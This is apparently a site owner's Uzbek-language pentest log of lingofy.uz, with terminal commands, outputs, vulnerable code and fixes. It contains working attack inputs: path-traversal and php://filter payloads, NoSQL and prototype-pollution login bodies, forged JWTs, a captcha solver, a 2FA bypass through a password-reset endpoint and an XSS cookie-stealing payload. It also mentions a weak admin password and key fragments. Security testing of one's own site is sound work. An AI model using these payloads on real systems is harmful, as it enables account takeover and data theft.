Lingofy.uz saytiga o'tkazilgan pentest — to'liq terminal tarixi, o'sha tartibda · Sana 2026‑09‑26 · Maqsad: o'z saytingizni hujumdan o'zingiz himoya qilish
Pentest bepul emas — u real o'zgarishlar keltiradi. Quyidagilar mening xatom yoki majburiy harakatlarim natijasi edi. Yashirmadim:
admin123 ga qo'ydim, keyin asliga tikladim, keyin yana o'zgartirdim.rm -f .admin_state/*.json
deb yozdim va config.json ham ketdi. Darhol tikladim, secret saqlandi.
Bu — mening xatom.AQ.Ab8... edi (Gemimi uchun
mos kelmaydi — 401 beradi). Uni zaxiraga surib, AIzaSy... ni asosiy qildim.Tekshirish: parol — admin123 bilan kirish;
kalit — GET /api/admin/ai-config; userlar — avval 19, keyin 18, hozir 18.
Birinchi savol: qancha endpoint bor va ular qanday himoyalangan?
$ cd /var/www/usr_w8ujaj/data/www/LingofyAI/backend $ ls src/routes/ adminRoutes.js aiRoutes.js attemptRoutes.js authRoutes.js knowledgeRoutes.js limitsRoutes.js prefsRoutes.js progressRoutes.js speakingRoutes.js testRoutes.js # har bir fayldagi marshrutlar $ grep -ohE "^router\.(get|post|put|delete)\('[^']*'" src/routes/*.js | \ sed "s/router\.//;s/('/ /;s/'//" get /stats get /tests post /admin-panel-login post /admin-recover ← shubhali, alohida ko'rib chiqdim post /support-reset-password ← bu ham post /forgot-password get /verify-reset-token/:token post /reset-password
Nimani sezdim: /admin-panel-login va /admin-recover —
men qo'shganlarim. /support-reset-password esa eski tizimdan qolgan.
Uni tekshirish kerak — chunki u parolni tiklaydi.
$ for F in src/routes/*.js; do echo "$(basename $F): $(grep -cE '^router\.' $F)"; done adminRoutes: 79 aiRoutes: 7 attemptRoutes: 6 authRoutes: 17 knowledgeRoutes: 18 testRoutes: 24 # jami ~160 endpoint
Agar .env yoki db.json ochiq bo'lsa — boshqa hech narsa
kerak emas. Parollar, kalitlar, butun foydalanuvchilar bazasi ochiq bo'ladi.
$ for P in "/.env" "/LingofyAI/backend/.env" "/.git/config" \
"/LingofyAI/backend/data/db.json" "/.admin_state/config.json" \
"/.admin-assets/admin.js" "/admin/totp.php" "/backup.zip"; do
printf "%-40s %s\n" "$P" \
"$(curl -s -o /dev/null -m 15 -w '%{http_code}' https://lingofy.uz$P)"
done
/.env 403
/LingofyAI/backend/.env 403
/.git/config 403
/LingofyAI/backend/data/db.json 404
/.admin_state/config.json 404
/.admin-assets/admin.js 404
/admin/totp.php 403
/backup.zip 403
/var/www/usr_w8ujaj/data/.admin_state/), kengaytmalar
(.env, .bak, .json) 403 bilan bloklangan.
/admin/serve.php?f=admin.js — admin fayllarini beradigan script. U
f parametrini qabul qiladi. Agar ../ ni tozalamasdan fayl
tizimga solishsa, serverdagi har qanday fayl o'qiladi.
$ # avval sessiya olamiz curl -s -c jar -X POST --data-urlencode "jwt=$TOKEN" https://lingofy.uz/admin/auth-cookie.php $ # 10 xil traversal usuli for P in "../../../../.admin_state/config.json" \ "..%2f..%2f..%2f.admin_state/config.json" \ "....//....//....//....//.admin_state/config.json" \ "..%252f..%252f..%252f.admin_state/config.json" \ "/etc/passwd" \ "....//....//....//....//....//etc/passwd" \ "..\..\..\..\.admin_state/panel.view" \ "admin.js%00.png" \ "php://filter/convert.base64-encode/resource=../.admin_state/config.json"; do printf "%-62s %s\n" "$P" \ "$(curl -s -o /dev/null -m 15 -b jar -w '%{http_code}' "https://lingofy.uz/admin/serve.php?f=$P")" done ../../../../.admin_state/config.json 404 ..%2f..%2f..%2f.admin_state/config.json 404 ....//....//....//....//.admin_state/config.json 404 ..%252f..%252f..%252f.admin_state/config.json 404 /etc/passwd 404 php://filter/... 404 barchasi 404
realpath() bilan tekshiradi. Null byte, kodlash, PHP stream — hammasi rad.
$ E="mailer-126@xuss.us" for P in 'null' 'true' '[]' '0' '""'; do curl -s -X POST -H 'Content-Type: application/json' \ -d "{\"email\":\"$E\",\"password\":$P}" https://lingofy.uz/api/auth/admin-panel-login echo done password: null → {"success":false,"message":"Email va parol kiritilmagan."} password: true → {"success":false,"message":"Email yoki parol noto'g'ri."} password: [] → {"success":false,"message":"Email va parol kiritilmagan."} password: 0 → {"success":false,"message":"Email va parol kiritilmagan."} barchasi rad etildi
$ curl -s -X POST -H 'Content-Type: application/json' \ -d '{"email":{"$ne":null},"password":{"$ne":""}}' https://lingofy.uz/api/auth/admin-panel-login {"success":false,"message":"Email yoki parol noto'g'ri."} rad $ curl -s -X POST -H 'Content-Type: application/json' \ -d '{"email":{"$gt":""},"password":{"$gt":""}}' https://lingofy.uz/api/auth/admin-panel-login {"success":false,"message":"Email yoki parol noto'g'ri."} rad
$ curl -s -X POST -H 'Content-Type: application/json' \ -d '{"email":"x@t.com","password":"x","__proto__":{"isAdmin":true,"role":"admin"}}' \ https://lingofy.uz/api/auth/admin-panel-login {"success":false,"message":"Email yoki parol noto'g'ri."} rad
$ curl -s -X POST -H 'Content-Type: application/json' \ -d '{"email":"x@t.com","password":"x","role":"admin","isAdmin":true}' \ https://lingofy.uz/api/auth/admin-panel-login {"success":false,"message":"Email yoki parol noto'g'ri."} rad
$ curl -s -X POST -H 'Content-Type: application/json' \ -d '{"email":"a@t.com","password":"x"}' ... → "Email yoki parol noto'g'ri." curl -s -X POST -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'email=b@t.com&password=x' ... → "Email yoki parol noto'g'ri." # body-parser ikkalasini ham o'qiydi curl -s -X POST -F 'email=c@t.com' -F 'password=x' ... → "Email va parol kiritilmagan." curl -s "https://lingofy.uz/api/auth/admin-panel-login?email=d@t.com&password=x" → {"success":false,"message":"Sahifa topilmadi."} # GET 404
String() bilan matnga aylantiradi va
uzunligini tekshiradi. role maydoni umuman o'qilmaydi.
Ba'zi saytlar X-Forwarded-For ni ishonchsiz deb qaraydi, lekin
ba'zilar to'g'ridan-to'g'ri IP sifatida oladi. Unda limitni chetlab o'tish mumkin.
$ for i in $(seq 1 12); do IP="10.0.0.$i" printf " %2d. IP=%-12s → %s\n" "$i" "$IP" \ "$(curl -s -H "X-Forwarded-For: $IP" -H "X-Real-IP: $IP" \ -X POST -d "temp_token=$TMP&code=00000$i" \ https://lingofy.uz/admin/auth-cookie.php | head -c 60)" done 1. IP=10.0.0.1 → "mfa_failed":true "left":2 2. IP=10.0.0.2 → 3. IP=10.0.0.3 → "throttled":true "retry_in":899 4..12 → "throttled":true ISHLAMADI
X-Real-IP faqat 127.0.0.1 dan kelganda
ishonchli. Tashqi so'rovingizdagi sarlavha e'tibga olinmaydi.
Ko'p saytlar emailni toLowerCase() qilmaydi — hujumchi A@B.COM
yozib har safar yangi hisob deb hisoblanadi.
$ for EM in "jab@x.com" "JAB@X.COM" "Jab@x.com" " jab@x.com "; do curl -s -X POST -H 'Content-Type: application/json' \ -d "{\"email\":\"$EM\",\"password\":\"x\"}" \ https://lingofy.uz/api/auth/admin-panel-login | grep -oE '"message":"[^"]*"' done # Natija: "Juda ko'p urinish" — ya'ni BARCHASI bir hisobga tushdi
.trim().toLowerCase() bor — barcha variantlar
bitta kalitga birlashadi.
Limiter ip|email bo'yicha edi:
// BUZILGAN KOD — src/controllers/authController.js
const adminLoginKey = (ip, email) => ip + '|' + email; // ← EMAIL bo'yicha
adminLoginFail(ip, email);
Tiklash kaliti esa barcha email'lar uchun bir xil. Demak emailni o'zgartirib, chegarani chetlab o'tish mumkin:
$ for i in $(seq 1 12); do curl -s -X POST -H 'Content-Type: application/json' \ -d "{\"email\":\"bypass$i@test.invalid\", \"recovery_key\":\"RK-AAAAAAA$(printf '%02d' $i)\", \"new_password\":\"TestParol2026\"}" \ https://lingofy.uz/api/auth/admin-recover echo done 1..12 → "Tiklash kaliti noto'g'ri." 12/12 o'tdi — blok yo'q!
// TUZATISH — endi FAQAT IP bo'yicha
const recoveryHits = new Map();
const RECOVERY_MAX = 8;
const recoveryBlocked = (ip) => { ... };
if (recoveryBlocked(ip)) return res.status(429).json({ ... });
recoveryRecord(ip);
$ # tuzatgandan keyin qayta sinov for i in $(seq 1 12); do curl -s -X POST -H 'Content-Type: application/json' \ -d "{\"email\":\"fix$i@test.invalid\",\"recovery_key\":\"RK-BBBBBBBBB$(printf '%02d' $i)\", \"new_password\":\"TestParol2026\"}" https://lingofy.uz/api/auth/admin-recover | head -c 70 echo done 1..8 → "Tiklash kaliti noto'g'ri." 9..12 → "Tiklash urinishlari chegarasi. 15 daqiqa..." ✓ tuzatildi
$ curl -s -X POST --data-urlencode "jwt=$TOKEN" https://lingofy.uz/admin/auth-cookie.php {"success":true,"requires_2fa":true,"temp_token":"4520960b...","expires_in":300} $ curl -s -b jar https://lingofy.uz/admin/ | grep -c "Admin Boshqaruv Paneli" 0 panel OCHILMADI — sessiya yaratilmagan
$ for P in "requires_2fa=false" "2fa_verified=true" "mfa=skipped" \ "skip_2fa=1" "authenticated=true"; do curl -s -X POST --data-urlencode "jwt=$TOKEN" -d "$P" \ https://lingofy.uz/admin/auth-cookie.php | head -c 60 echo done # Natija: har doim "requires_2fa":true — soxta parametr ishlamadi
$ for C in 000000 111111 123456 999999; do curl -s -X POST -d "temp_token=$TMP&code=$C" https://lingofy.uz/admin/auth-cookie.php echo done 000000 → {"success":false,"mfa_failed":true,"left":2,"message":"Kod noto'g'ri."} 111111 → {"success":false,"throttled":true,"retry_in":900} 15 daqiqa blok 123456 → throttled 999999 → throttled
$ curl -X POST -d "temp_token=$TMP&code=$CODE" .../auth-cookie.php {"success":true,"authenticated":true,"ttl":3600} 1-marta: muvaffaqiyat $ curl -X POST -d "temp_token=$TMP&code=$CODE" .../auth-cookie.php {"success":false,"expired":true} 2-marta: RAD
$ cat > scratch/jwtattack.js <<'EOF' require('dotenv').config(); const jwt = require('jsonwebtoken'); const b64 = o => Buffer.from(JSON.stringify(o)).toString('base64url'); const h = alg => b64({ alg, typ:'JWT' }); const base = { id:'6c41eb3c-...', email:'admin@...', role:'admin', exp: Math.floor(Date.now()/1000)+86400 }; const S = process.env.JWT_SECRET; fs.writeFileSync('/tmp/opencode/tokens.txt', [ ['alg:none', h('none') + '.' + b64(base) + '.'], ['alg:None', h('None') + '.' + b64(base) + '.'], ['noto-gri kalit', jwt.sign(base, 'wrong-key-123', {algorithm:'HS256',expiresIn:'1d'})], ['HS512-sir', jwt.sign(base, S, {algorithm:'HS512',expiresIn:'1d'})], ['muddati otgan', jwt.sign(base, S, {algorithm:'HS256',expiresIn:'-1d'})], ['imzosiz', h('HS256') + '.' + b64(base)] ].map(([k,v]) => k + '\t' + v).join('\n')); EOF $ node scratch/jwtattack.js 8 ta soxta token tayyor $ while IFS=$'\t' read -r NAME TK; do printf " %-18s → %s\n" "$NAME" \ "$(curl -s -X POST --data-urlencode "jwt=$TK" https://lingofy.uz/admin/auth-cookie.php | head -c 60)" done < /tmp/opencode/tokens.txt alg:none → {"success":false,"message":"Kalit noto'g'ri."} rad alg:None → rad noto-gri kalit → rad HS512-sir → rad muddati otgan → rad imzosiz → rad
algorithms:['HS256'] — boshqa algoritm qabul
qilinmaydi. Sir 64 belgi (512 bit).
$ cat > scratch/esc.js <<'EOF' // DB da role=user bo'lgan user uchun turli xil tokenlar T = { 'haqiqiy role=user': jwt.sign({id, role:'user'}, S), 'id=admin role=user': jwt.sign({id:adminId, role:'user'}, S), 'id=user role=admin': jwt.sign({id:userId, role:'admin'}, S), 'role=Admin (katta)': jwt.sign({id, role:'Admin'}, S), 'role=["admin"]': jwt.sign({id, role:['admin']}, S), 'sub=admin_id': jwt.sign({sub:adminId, role:'admin'}, S) }; EOF $ for EP in "admin/stats" "admin/users" "admin/ai-config" "admin/tests"; do while IFS=$'\t' read -r NAME TK; do printf " %-20s %s\n" "$NAME" \ "$(curl -s -o /dev/null -H "Authorization: Bearer $TK" -w '%{http_code}' https://lingofy.uz/api/$EP)" done < /tmp/opencode/esc-tokens.txt done # BARCHASI 401
authenticate middleware ro'ni bazadan oladi
(prisma.user.findUnique), token claimlariga ishonmaydi.
$ MYID="deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef" curl -s -H "Cookie: lingofy_admin_sid=$MYID" 'https://lingofy.uz/admin/auth-cookie.php?action=status' {"success":false,"message":"Sessiya yo'q. Qayta kiring."} rad
$ # 4 ta sessiya yaratib ID larni solishtirdim 764d9dc85eb6ce21f6ddf87e81f0e9a2e57b2c187a0da073a9024c9ddd042b4c 9bb35030b3e010bb074145713927f9efc0ae19f606366502daf6ee8a840bd34a 0f0345f0a52f784a4019d13240b1e250ff408975c8ca2adc1ed18a31639711dc 843a0a9cc77951f9c09beaaee92752d9b5576b3a0df4890fd2eefa3e7566c6b3 uzunlik: 64 belgi (256 bit) unikal: 4/4
$ curl -s -D - -o /dev/null -X POST -d "temp_token=$TMP&code=$CODE" \ https://lingofy.uz/admin/auth-cookie.php | grep -i set-cookie | tr ';' '\n' lingofy_admin_sid=441dec936c... path=/ secure ✓ faqat HTTPS HttpOnly ✓ JS o'qiy olmaydi SameSite=Strict ✓ CSRF dan himoya
$ curl -s -H "Cookie: lingofy_admin_sid=$SID" -X POST -d "action=logout" .../auth-cookie.php {"success":true,"authenticated":false} $ curl -s -H "Cookie: lingofy_admin_sid=$SID" https://lingofy.uz/admin/ | grep -c "Paneli" 0 eski cookie bekor qilindi
Nima uchun bu — pentestdagi eng muhim topilma.
Men 2FA qo'ydim, kuchli parol qo'ydim, rate limit qo'ydim, sessiya himoyaladim...
lekin saytda boshqa yo'l bor edi: POST /api/auth/support-reset-password.
U faqat email + 8 raqamli Xavfsizlik ID bilan parolni tiklardi —
va 2FAni umuman so'ramasdi.
$ grep -n "supportResetPassword" -A 30 src/controllers/authController.js const supportResetPassword = async (req, res, next) => { const { email, security_id, new_password } = req.body; ... const user = await prisma.user.findUnique({ where: { email: cleanEmail } }); if (!user || !user.security_id || String(user.security_id) !== cleanId) { return fail(); } const passwordHash = await hashPassword(new_password); await prisma.user.update({ where: { id: user.id }, data: { password_hash: passwordHash } }); // 2FA tekshiruvi YO'Q. Captcha YO'Q. Email tasdiqlash YO'Q.
$ grep -rn "security_id" src/ --include=*.js | grep -v node_modules src/controllers/authController.js:215: security_id: user.security_id, ← /api/auth/me da! $ curl -s -H "Authorization: Bearer $TOKEN" https://lingofy.uz/api/auth/me | python3 -m json.tool { "email": "mailer-126@xuss.us", "role": "admin", "security_id": "91454916", ← SHU OCHIQ QOLADI ... }
/api/auth/me orqali
security_id olaman → parolni tiklayman → 2FA umuman kerak bo'lmaydi.
$ node -e " const d=JSON.parse(require('fs').readFileSync('data/db.json','utf8')); d.users.push({id:'rv-'+Date.now(), email:'reset-victim@test.invalid', username:'victim', role:'user', security_id:'12345678', password_hash: await bcrypt.hash('QoldiParol2026',10), ...}); require('fs').writeFileSync('data/db.json', JSON.stringify(d,null,2));" # 1) noto'g'ri ID curl -s -X POST -H 'Content-Type: application/json' \ -d '{"email":"reset-victim@test.invalid","security_id":"99999999","new_password":"YangiParol2026"}' \ https://lingofy.uz/api/auth/support-reset-password {"success":false,"message":"Tasdiqlash ma'lumotlari mos kelmadi..."} rad # 2) TO'G'RI ID → PAROL ALMASHDI curl -s -X POST -H 'Content-Type: application/json' \ -d '{"email":"reset-victim@test.invalid","security_id":"12345678","new_password":"YangiParol2026"}' \ https://lingofy.uz/api/auth/support-reset-password {"success":true,"message":"Paroli muvaffaqiyatli tiklandi!"} ← BUZILDI
Chora 1 — maxfiy hisoblar bu yo'l orqali tiklanmaydi:
// src/controllers/authController.js — supportResetPassword ichiga
const PRIVILEGED = new Set(['admin', 'owner', 'moderator', 'superadmin']);
if (PRIVILEGED.has(String(user.role || '').toLowerCase()) || user.is_staff) {
return fail();
}
Chora 2 — captcha qo'shish:
// src/routes/authRoutes.js router.post('/support-reset-password', authLimiter, requireCaptcha, supportResetPassword); // avval: router.post('/support-reset-password', authLimiter, supportResetPassword);
Chora 3 — bloklashni diskga saqlash:
// avval: const resetLockouts = new Map(); ← server restart = bloklash to'qiladi const RESET_LOCK_FILE = '.../data/reset_lockouts.json'; const resetLockouts = { get, set, delete }; // har o'zgarishda diskka yoziladi
$ # admin hisobi to'g'ri security_id bilan curl -s -X POST -H 'Content-Type: application/json' \ -d '{"email":"mailer-126@xuss.us","security_id":"91454916","new_password":"HujumParol2026"}' \ https://lingofy.uz/api/auth/support-reset-password {"success":false,"code":"CAPTCHA_INVALID"} ✓ captcha to'stirdi $ # captcha bilan ham → "Tiklash kaliti noto'g'ri." ✓ admin roli tekshirildi
📌 Darslik: Kuchli bir qatlam boshqasini kuchsizligini yopmaydi. Parol tiklash — "orqadan kirish" yo'li. U ham 2FA darajasida himoyalangan bo'lishi kerak.
Muammo: captcha SVG ichida javob <text> elementi sifatida
ochiq yozilgan edi. Bu — oddiy xato, lekin natijada captcha hech qanday
himoya bermagan.
$ curl -s https://lingofy.uz/api/auth/captcha | python3 -c "
import json, re
d = json.load(sys.stdin)
chars = re.findall(r'<text[^>]*>([^<]*)</text>', d['svg'])
print('javob elementlari:', chars)"
javob elementlari: ['1', '1', ' ', '-', ' ', '8']
↑ ifoda "11 - 8" → javob 3
$ # 1-qadam: captcha olish curl -s https://lingofy.uz/api/auth/captcha -o cap.json $ # 2-qadam: ifodani o'qib, arifmetikani hisoblash python3 -c " import json, re d = json.load(open('cap.json')) expr = ''.join(re.findall(r'<text[^>]*>([^<]*)</text>', d['svg'])) print('ifoda:', expr) # 15 - 6 print(eval(expr))" # 9 # 3-qadam: login curl -s -X POST -H 'Content-Type: application/json' \ -d '{"captcha_id":"d992...","captcha_answer":"9", "email":"mailer-126@xuss.us","password":"..."}' \ https://lingofy.uz/api/auth/login {"success":true,"message":"Tizimga muvaffaqiyatli kirdingiz.", "token":"eyJhbGciOiJIUzI1NiIs..."} ← BUZILDI
Ta'sir doirasi: bu captcha
/api/auth/login, /api/auth/register va
/api/auth/support-reset-password — uchalasini ham himoya qilardi.
Har bir belgini yo'llar (<path>) bilan chizish — matn emas:
// src/utils/captcha.js — ESKI
glyphs += `<text x="${x}" y="${y}" font-size="32" ...>${ch}</text>`;
↑↑↑ javob ochiq
// YANGI
const SEG = {
'0':'abcdef', '1':'bc', '2':'abged', '3':'abgcd', '4':'fgbc',
'5':'afgcd', '6':'afgedc', '7':'abc', '8':'abcdefg', '9':'abcdfg'
};
function glyphPath(ch, x, y) {
const w=13, h=22, mid=y+h/2;
const seg = { a:`M${x} ${y}H${x+w}`, b:`M${x+w} ${y}V${mid}`,
c:`M${x+w} ${mid}V${y+h}`, d:`M${x} ${y+h}H${x+w}`,
e:`M${x} ${mid}V${y+h}`, f:`M${x} ${y}V${mid}`,
g:`M${x} ${mid}H${x+w}` };
const segs = SEG[ch];
if (segs) return { d: segs.split('').map(k => seg[k]).join(' '), w };
if (ch === '-') return { d: seg.g, w };
if (ch === '+') return { d: seg.g + ` M${x+w/2} ${y+3}V${y+h-3}`, w };
if (ch === 'x') return { d: `M${x+1} ${y+3}L${x+w-1} ${y+h-3}...`, w };
}
// chizish
glyphs += `<g transform="rotate(${rot} ...)">
<path d="${g.d}" fill="none" stroke="${color}"
stroke-width="2.4" stroke-linecap="round"/></g>`;
$ node -e " const cap=require('.../src/utils/captcha'); let t=0,p=0; for(let i=0;i<200;i++){const g=cap.generate(); if(/<text/.test(g.svg))t++; if(/<path/.test(g.svg))p++;} console.log('<text> bilan:',t+'/200'); console.log('<path> bilan:',p+'/200');" <text> bilan: 0/200 ✓ javob hech qachon ochiq emas <path> bilan: 200/200 ✓ hammasi chizilgan $ # inson uchun ishlashini tekshirish (100 marta) to'g'ri javob qabul qilindi: 100/100 ✓ ishlaydi noto'g'ri javob rad etildi: ✓ bo'sh javob rad etildi: ✓ $ # eski bot usuli endi ishlamaydimi curl -s https://lingofy.uz/api/auth/captcha -o c.json <text> elementlari: 0 (yo'q) ✓ soxta javob yuborish → "code":"CAPTCHA_INVALID" ✓ rad
📌 Darslik: "Inson uchun qiyin" degani bot uchun oson degani emas. Agar javob HTML matnida bo'lsa — bot uni o'qiydi.
// src/controllers/testController.js — sessionIdentity() const sess = await prisma.session.findUnique({ where: { jti: decoded.jti } }); if (!sess || sess.user_id !== decoded.id || sess.revoked_at) return null; return { id: decoded.id, role: decoded.role }; ↑↑↑↑↑↑↑↑↑↑↑↑ TOKEN dan // LEKIN asosiy middleware shunday qilgan edi (TO'G'RI): const user = await prisma.user.findUnique({ where: { id: decoded.id }, select: { ..., role: true } }); req.user = user; // BAZADAN
Ikkalasi bir xil narsani qiladi, lekin turli usulda — va bu mos emaslik zaiflikni tug'diradi.
$ cat > scratch/fakeadmin.js <<'EOF' // DB da role=user, lekin token role=admin const u = db.users.find(x => x.email === 'student-probe@test.invalid'); console.log(' DB roli: ' + u.role + ' (token roli: admin)'); const token = generateToken({ id: u.id, email: u.email, role: 'admin' }); db.sessions.push({ jti: dec.jti, user_id: u.id, ... }); EOF $ node scratch/fakeadmin.js DB roli: user (token roli: admin) $ curl -s -X POST -H "Authorization: Bearer $FAKE" \ -H 'Content-Type: application/json' \ -d '{"answers":{"1":"aaa","2":"bbb","3":"ccc","4":"ddd","5":"eee","6":"fff"}}' \ https://lingofy.uz/api/tests/reading-part1/<id>/submit | python3 -m json.tool { "1": {"user_answer":"aaa","correct_answer":["harmless"],"is_correct":false}, "2": {"user_answer":"bbb","correct_answer":["tea"],"is_correct":false}, "3": {"user_answer":"ccc","correct_answer":["people"],"is_correct":false}, "4": {"user_answer":"ddd","correct_answer":["caffeine"],"is_correct":false}, "5": {"user_answer":"eee","correct_answer":["drink"],"is_correct":false}, "6": {"user_answer":"fff","correct_answer":["insomnia"],"is_correct":false} } ← BARCHA JAVOBLAR chiqdi. role=user edi!
Amaliy ta'siri (sirni olmasdan):
// sessionIdentity() ichiga const dbUser = await prisma.user.findUnique({ where: { id: decoded.id }, select: { id: true, role: true, status: true } }); if (!dbUser || dbUser.status === 'blocked') return null; return { id: dbUser.id, role: dbUser.role }; // BAZADAN
$ # tuzatgandan keyin, soxta admin token bilan correct_answer sizib chiqdimi: False ✓ TUZATILDI $ # haqiqiy admin uchun ishlayaptimi? admin correct_answer oladimi: 1 ✓ (admin uchun kerak)
📌 Darslik: JWT — tekshirilgan ma'lumot, lekin ishonch emas. Rol, status, huquqlar har doim bazadan olinishi kerak.
$ cd /var/www/usr_w8ujaj/data/www/lingofy.uz $ grep -rnE "innerHTML" --include=*.js . | grep -v node_modules | \ grep -E '\$\{' | grep -oE "^[^:]+:[0-9]+" main/profil/profil/profile.js:496 main/main.js:946 ← shu main/main.js:953 main/main.js:954 main/main.js:955 main/main.js:959 main/main.js:1420 ...
$ sed -n '944,960p' main/main.js
modalAvatar.innerHTML = `<img src="${avatarEl.querySelector('img').src}" alt="${author}" ...>`;
modalDurationBadge.innerHTML = `<i class="far fa-clock"></i> ${duration}`;
modalCategoryBadge.innerHTML = `<i class="fas fa-graduation-cap"></i> ${category}`;
modalLevelBadge.innerHTML = `<i class="fas fa-layer-group"></i> ${level}`;
playerWrapper.innerHTML = `<iframe ... src="https://www.youtube.com/embed/${ytId}">`;
$ grep -n "escapeHtml" main/main.js 1222: ... alt="${escapeHtml(String(author))}" 1855: ... alt="${escapeHtml(String(name))}" 2 ta ishlatilgan, lekin TA'RIFLANMAGAN (faqat upgrade.js da, global emas) $ grep -rn "function escapeHtml" main/*.js main/js/*.js main/js/upgrade.js:26: function escapeHtml(str) {
ReferenceError — chaqirilayotgan funksiya mavjud emas.
# author = '" onerror="alert(document.cookie)" x="' bo'lsa: <img src="..." alt="" onerror="alert(document.cookie)" x=""> ↑ atributdan chiqib, hodisa qo'shildi
// 1) global escapeHtml qo'shildi (main.js boshiga) (function (global) { 'use strict'; global.escapeHtml = global.escapeHtml || function (str) { return String(str == null ? '' : str).replace(/[&<>"']/g, function (m) { return { '&':'&', '<':'<', '>':'>', '"':'"', "'":''' }[m]; }); }; })(window); // 2) 9 joy escape qilindi alt="${escapeHtml(author)}" <i class="far fa-clock"></i> ${escapeHtml(duration)} <i class="fas fa-graduation-cap"></i> ${escapeHtml(category)} <i class="fas fa-layer-group"></i> ${escapeHtml(level)} youtube.com/embed/${escapeHtml(ytId)} data-category="${escapeHtml(category)}" data-video-id="${escapeHtml(vid.id)}" data-duration="${escapeHtml(vid.duration || '15:00')}" data-desc="${escapeHtml(vid.desc || vid.description || '')}" data-desc="${escapeHtml(movie.desc || movie.description || '')}"
$ node --check main/main.js sintaksis to'g'ri $ node -e " function escapeHtml(s){return String(s).replace(/[&<>\"']/g,m=>({...})[m]);} console.log(escapeHtml('\x22><img src=x onerror=alert(1)>')); // "><img src=x onerror=alert(1)> xavfsiz: true ✓ $ curl -s https://lingofy.uz/main/main.js | grep -cE 'alt="\$\{author\}"|\+\$\{duration\}' 0 ✓ escape'siz qoldi: 0
📌 Darslik: innerHTML ga foydalanuvchi
ma'lumotini hech qachon to'g'ridan-to'g'ri qo'ymang. Yoki
escapeHtml(), yoki textContent.
| Zaiflik | Daraja | Tuzatish | Fayl |
|---|---|---|---|
| Parol tiklash 2FA bypass | CRIT | Admin bloklandi + captcha + disk lockout | authController.js |
| Captcha o'qilardi | CRIT | 7-segment shrift (<path>) | captcha.js |
| Token roliga ishonish | HIGH | Rol bazadan | testController.js |
| Asosiy saytda 9 ta XSS | HIGH | escapeHtml + global funksiya | main/main.js |
| showToast XSS | HIGH | Xabar escape | admin.js |
| Rate limit email orqali | HIGH | Faqat IP | authController.js |
| HSTS yo'q | MED | max-age=31536000 | admin/index.php |
| CSP unsafe-eval | MED | Olib tashlandi | admin/index.php |
| X-Powered-By | LOW | header_remove | admin/*.php |
| IP gate bloklagan | MED | 15 marta olib tashlandi | adminRoutes.js |
backend/src/controllers/authController.js ← 2FA bypass bloklash, disk lockout, IP limit backend/src/utils/captcha.js ← 7-segment shrift backend/src/controllers/testController.js ← rol bazadan backend/src/routes/authRoutes.js ← requireCaptcha backend/src/middlewares/admin.js ← IP gate o'chirildi backend/src/routes/adminRoutes.js ← IP gate (1 marta) backend/src/routes/knowledgeRoutes.js ← IP gate (14 marta) backend/src/utils/geminiApi.js ← YANGI, proksi qo'llab-quvvatlash backend/src/utils/geminiHealth.js ← proksi yo'li backend/src/ai/gemini_service.py ← GEMINI_PROXY backend/src/services/speakingScore.js ← proksiga o'tkazildi www/lingofy.uz/main/main.js ← 9 ta XSS www/.admin-assets/admin.js ← showToast XSS www/lingofy.uz/admin/index.php ← HSTS, CSP www/lingofy.uz/admin/serve.php ← HSTS www/lingofy.uz/admin/auth-cookie.php ← header_remove www/lingofy.uz/.htaccess ← /admin/index.html istisno apps/www/admin-gate.js ← eski URL tuzatildi
$ # login oqimi token: 316 belgi ✓ requires_2fa: true ✓ 2FA kod → {"success":true,"authenticated":true} ✓ panel: 1 ✓ admin API: 200 ✓ asosiy sayt: 200 ✓ $ # zaifliklar yopilganmi admin parol tiklash → CAPTCHA_INVALID ✓ captcha <text> → 0/200 ✓ soxta admin token → correct_answer yo'q ✓ XSS escape'siz → 0 ✓ IP gate izlari → 0 ✓
X-Real-IP localhost'dan ishonchli bo'lsa.1. PHP 7.4.33 — EOL. 2022‑yilning noyabrida hayotdan chiqdi, xavfsizlik yangilanishlari to'xtagan. CLI PHP 8.2, lekin veb PHP platforma tomonidan beriladi. → Hosting panelida 8.1+ ga ko'tarish yoki support ticket.
2. X-Powered-By butun saytda. Admin
sahifalarida yopildi, lekin asosiy PHP front‑controller menim katalogimdan tashqarida.